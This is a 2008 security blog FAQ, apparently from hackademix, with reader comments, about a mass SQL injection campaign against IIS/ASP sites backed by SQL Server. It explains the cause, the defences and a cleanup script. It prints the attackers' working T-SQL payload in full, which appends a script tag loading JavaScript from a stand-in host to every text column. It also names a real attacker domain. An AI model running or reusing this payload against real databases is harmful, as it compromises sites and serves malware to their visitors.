Reports about the massive infection of web sites by an automated tool, whose most recent prominent victims have been United Nations, UK Government and the U.S. Department of Homeland Security raised some recurring questions which are worth answering.
- The attack is targeting Microsoft IIS web servers. Is there a Microsoft vulnerability?
- What can I do if I’m the administrator of an infected site?
- What should I do as an user to protect myself?
- How can NoScript protect if the compromised sites are in my trusted whitelist?
“Exploits of a Mom” by xkcd
-
The attack is targeting Microsoft IIS web servers. Is it exploiting a Microsoft vulnerability?
Yes and no. Web developers (or their employers who did not mandate proper security education) are to blame for each single infection, because the SQL injection exploited to infect the web sites is possible thanks to trivial coding errors.
That said, the attackers are targeting IIS web servers which run ASP for a reason.
Crackers put together a clever SQL procedure capable of polluting any Microsoft SQL Server database in a generic way, with no need of knowing the specific table and fields layouts:
DECLARE @T varchar(255), @C varchar(255);
DECLARE Table_Cursor CURSOR FOR
SELECT a.name, b.name
FROM sysobjects a, syscolumns b
WHERE a.id = b.id AND a.xtype = 'u' AND
(b.xtype = 99 OR
b.xtype = 35 OR
b.xtype = 231 OR
b.xtype = 167);
OPEN Table_Cursor;
FETCH NEXT FROM Table_Cursor INTO @T, @C;
WHILE (@@FETCH_STATUS = 0) BEGIN
EXEC(
'update [' + @T + '] set [' + @C + '] =
rtrim(convert(varchar,[' + @C + ']))+
''<script src=http://evilsite.com/1.js></script>'''
);
FETCH NEXT FROM Table_Cursor INTO @T, @C;
END;
CLOSE Table_Cursor;
DEALLOCATE Table_Cursor;
This is the “secret sauce” which is allowing the attack to reach its impressive numbers, and it works exclusively against Microsoft database technology — but it’s a feature, not a bug (no irony intended this time). Anyway, the chances for such “powerful” DB technology of being used in conjunction with web servers different than IIS are very low.
So, to recap:- There’s no Microsoft-specific vulnerability involved: SQL injections can happpen (and do happen) on LAMP and other web application stacks as well.
- SQL injections, and therefore these infections, are caused by poor coding practices during web site development.
- Nonetheless, this mass automated epidemic is due to specific features of Microsoft databases, allowing the exploit code to be generic, rather than tailored for each single web site. Update: more details in this comment.
In my previous coverage of similar incidents I also assumed a statistical/demographic reason for targeting IIS, since many ASP developers having a desktop Visual Basic background underwent a pretty traumatic migration to the web in the late 90s, and often didn’t really grow enough security awareness to develop safe internet-facing applications.
-
What should I do if I’m the administrator of an infected site?
First of all, you should call your web developers (or even better, someone who specializes in web application security) and require a full code review to find and fix the SQL injection bugs.
In the meanwhile you should either put your database offline or recover clean data from a backup, but until the code review is done be prepared to get compromised again. Deploying a web application firewall may mitigate the emergency, but you must understood it’s a merely temporary work-around — the solution is fixing the code (learn from the United Nations tale).
If you’ve got no clean database backup, you could try to recover by brutally reversing the SQL attack:
DECLARE @T varchar(255), @C varchar(255);
DECLARE Table_Cursor CURSOR FOR
SELECT a.name, b.name
FROM sysobjects a, syscolumns b
WHERE a.id = b.id AND a.xtype = 'u' AND
(b.xtype = 99 OR
b.xtype = 35 OR
b.xtype = 231 OR
b.xtype = 167);
OPEN Table_Cursor;
FETCH NEXT FROM Table_Cursor INTO @T, @C;
WHILE (@@FETCH_STATUS = 0) BEGIN
EXEC(
'update ['+@T+'] set ['+@C+'] = left(
convert(varchar(8000), ['+@C+']),
len(convert(varchar(8000), ['+@C+'])) - 6 -
patindex(''%tpircs<%'',
reverse(convert(varchar(8000), ['+@C+'])))
)
where ['+@C+'] like ''%<script%</script>'''
);
FETCH NEXT FROM Table_Cursor INTO @T, @C;
END;
CLOSE Table_Cursor;
DEALLOCATE Table_Cursor;
This SQL procedure walks through your tables and fields, just like its evil prototype, but rather than appending the malicious JavaScript with
EXEC(
'update [' + @T + '] set [' + @C + '] =
rtrim(convert(varchar,[' + @C + ']))+
''<script src=http://evilsite.com/1.js></script>'''
);
it locates and removes it with
EXEC(
'update ['+@T+'] set ['+@C+'] = left(
convert(varchar(8000), ['+@C+']),
len(convert(varchar(8000), ['+@C+'])) - 6 -
patindex(''%tpircs<%'',
reverse(convert(varchar(8000), ['+@C+'])))
)
where ['+@C+'] like ''%<script%</script>'''
);
Notice that I’ve not tested my code above, and I’m just providing it as a courtesy: use it at your own risk, after doing a backup of your data.
Update: now it’s debugged and “tested” (i.e. it works) on SQL Server 2005 (thanks Scott), but the “use it at your own risk” disclaimer still applies. -
What should I do as an user to protect myself?
OK, this one is the easiest :)
-
How can NoScript protect if the compromised sites are in my trusted whitelist?
Even if the compromised site is in your whitelist, allowed to run JavaScript, the malicious scripts are hosted on external servers controlled by the attackers (e.g.
www.nihaorr1.com): therefore NoScript prevents them from being loaded and effectively defeats the attack.
April 26th, 2008 at 11:19 am
"Nonetheless, this mass automated epidemic is due to specific features of Microsoft databases, allowing the exploit code to be generic, rather than tailored for each single web site."
Rubbish! While this attack is aimed at Microsoft SQL servers, this is purely incidental. The generic SQL could have been targetted against any major SQL server database since they all contain ways to find out about the tables and columns in the database via a metadata mechanism. The SQL-92 standard even defines a way to do this which many SQL vendors support.
April 26th, 2008 at 12:03 pm
[…] Mass Attack FAQ. Thousands of IIS Web servers have been infected with an automated mass XSS attack, not through a specific IIS vulnerability but using a universal XSS SQL query that targets SQL Server and modifies every text field to add the attack JavaScript. If an app has even a single SQL injection hole (and many do) it is likely to be compromised. […]
April 26th, 2008 at 12:26 pm
@Bruce Boughton:
I’m the first saying Microsoft is not to blame, but “while this attack is aimed at Microsoft SQL Server, this is purely incidental” is an inaccurate statement at best.
Attackers carefully weighted the easiest spot, being a combination of
mysql_query()PHP APIIf an attack on a different architecture had equal chances to succeed, the logical target would have been LAMP, which is numerically predominant nowadays, instead of a nearly obsolete web stack.
April 28th, 2008 at 10:36 am
* Would this attack be avoided simply if the database user was not allowed to create (new) database stored procedures?
* How common is it to allow the database web user to create new procedures?
* Insert, update, select and delete as well as exec should be enough for the web application to function normally?
April 28th, 2008 at 4:01 pm
@Albert:
As far as I can see no stored procedure is being created here. It’s just a complex procedural statement that’s being executed on the fly.
Either way, the needed privileges are fairly common, judging by the numbers of this epidemic.
I guess in most cases INSERT, UPDATE, SELECT and DELETE are enough.
I’ve never used EXEC in production code, and in this very case this “Dynamic SQL” feature is allowing the attack to be generic, giving a mean to resolve the table names at runtime.
April 28th, 2008 at 7:47 pm
[…] http://www.computerworld.com/action/article.do?command=viewArticleBasic&articleId=9080580 http://hackademix.net/2008/04/26/mass-attack-faq/ QUOTE: There’s another round of mass SQL injections going on which has infected hundreds of […]
April 28th, 2008 at 7:47 pm
[…] http://www.computerworld.com/action/article.do?command=viewArticleBasic&articleId=9080580 http://hackademix.net/2008/04/26/mass-attack-faq/ QUOTE: There’s another round of mass SQL injections going on which has infected hundreds of […]
April 29th, 2008 at 12:00 am
[…] automatic move takes plus to the fact that Microsoft’s IIS servers allow generic commands that don’t order limited table-level arguments. However, the danger is the termination of […]
April 29th, 2008 at 1:32 am
[…] you want the REAL story on what this is all about read this well written explanation of the problem. Share and Enjoy: These icons link to social bookmarking sites where readers can share and […]
April 29th, 2008 at 2:45 am
[…] automated attack takes advantage to the fact that Microsoft’s IIS servers allow generic commands that don’t require specific table-level arguments. However, the vulnerability is the result of […]
April 29th, 2008 at 3:31 am
reverse(right(reverse([’+@C+’]), patindex(”%tpircs<%”, reverse([’+@C+’]))+7))
I wonder if substring() should be used instead of right()?
"SQL Server 2005 Books Online (September 2007)
RIGHT (Transact-SQL)
Returns the right part of a character string with the specified number of characters."
April 29th, 2008 at 4:11 am
[…] bloggers have spun this story as an attack against a vulnerability in Microsoft??s IIS web server.http://hackademix.net/2008/04/26/mass-attack-faq/Web Host Directory: The best free source of web hosting services …Web Host Directory: Your best […]
April 29th, 2008 at 5:16 am
@Albert:
This is not the creation of a stored procedure -
It is an sql injection — that means someone is doing something like this
sqlSTMT = "INSTERT INTO TABLE (name) value ( "+{fieldvalue}+")"
SENDTOSQL(sqlSTMT)
By passing all the code above to the fieldvalue this gets sent to the SQL server and run.
VERY VERY common for many years…
Easy to avoid — just use a stored procedure and pass the the field values at parameters.
In the stored procdure you don’t EXEC the varables you just add them to your SQL and the server will crash if they contain code.
SQL Injection is very ‘97
April 29th, 2008 at 8:28 am
[…] Huge SQL Injection attacks infect 500,000 pages http://www.f-secure.com/weblog/archives/00001427.html http://www.computerworld.com/action/article.do?command=viewArticleBasic&articleId=9080580 http://hackademix.net/2008/04/26/mass-attack-faq/ […]
April 29th, 2008 at 11:45 am
It’s just another SQL injection attack, nothing new here…and certainly nothing to do with which web server you choose!
April 29th, 2008 at 12:08 pm
@Hogan and Wodderwick:
of course the vulnerabilities involved are just trivial SQL injections, very ‘97 as you said (and that’s why developers are even more to blame).
But there’s actually something new here, and it’s the adaptability of the payload, which works unmodified with every injectable web site backed by a Microsoft SQL Server database.
And since web applications with a MS SQL Server back end are almost always hosted on IIS web servers…
April 29th, 2008 at 12:46 pm
@Giorgio:
You may be right, but I’d be really suprised (and in an odd way a little disappointed!) that nobody’s done this exact same thing before?
Yeah, OK, I’ll agree with that, but some of the sites reporting this on the ‘net are ‘blaming’ IIS in the titles of their articles and that’s misleading people, you’re not one of them I hasten to add :-)
I think we all agree that all SQL injection vunerabilities are pretty daft but the most stupid vunerability I’ve seen recently is the one where the URL contains plain SQL statements which are blindly executed server-side, I mean there’s just NO attempt to protect the database at all!
April 29th, 2008 at 1:17 pm
@Wodderwick:
Someone may have done this before (we cannot know, anyway), but this time we’ve got the smoking gun of an automated tool built around it and probably sold in the underground, hence the impressive numbers of this attack.
Regarding the SQL statements accepted verbatim as a query parameters by design, I’ve seen them too with horror. As you probably know, they even caused high profile data leaks recently.
Every time a project have impossible deadlines to be met with ridiculous budgets (i.e. almost always), some underpaid monkey coder “invents” some shortcut like that and — who knows? — they may even praise it as smart “code reuse”.
See the XSS equivalent, with CNN and CeBIT “vulnerable by design”.
April 29th, 2008 at 4:10 pm
[…] http://hackademix.net/2008/04/26/mass-attack-faq/#comment-7742 - another great article talking about this specific attack […]
April 30th, 2008 at 6:30 pm
[…] http://hackademix.net/2008/04/26/mass-attack-faq […]
May 7th, 2008 at 1:22 am
Your code to remove does not appear to work. :(
May 7th, 2008 at 11:43 am
@Scott:
Fixed and tested against SQL Server 2005 now, thanks.
May 7th, 2008 at 12:57 pm
[…] is reporting a new wave of the mass SQL injection automated attack against MS ASP + MS SQL Server web […]
May 7th, 2008 at 4:53 pm
As always Giorgio, excellent post. For those saying this isnt targeting Microsoft SQL Servers, the above SQL fails against an Oracle db. ;-)
May 14th, 2008 at 7:33 pm
[…] the past month or so. Even with the large numbers of quality (and not so quality) write-ups of the attack technique, I still stumble across the occasional non-believer. Dialog with a former colleague of mine: […]
May 15th, 2008 at 5:22 pm
Do I understand this correctly if I say that theese attacks are ’sent’ via the URL?
Or is the script residing on an external server as well?
N00b here. Help me out.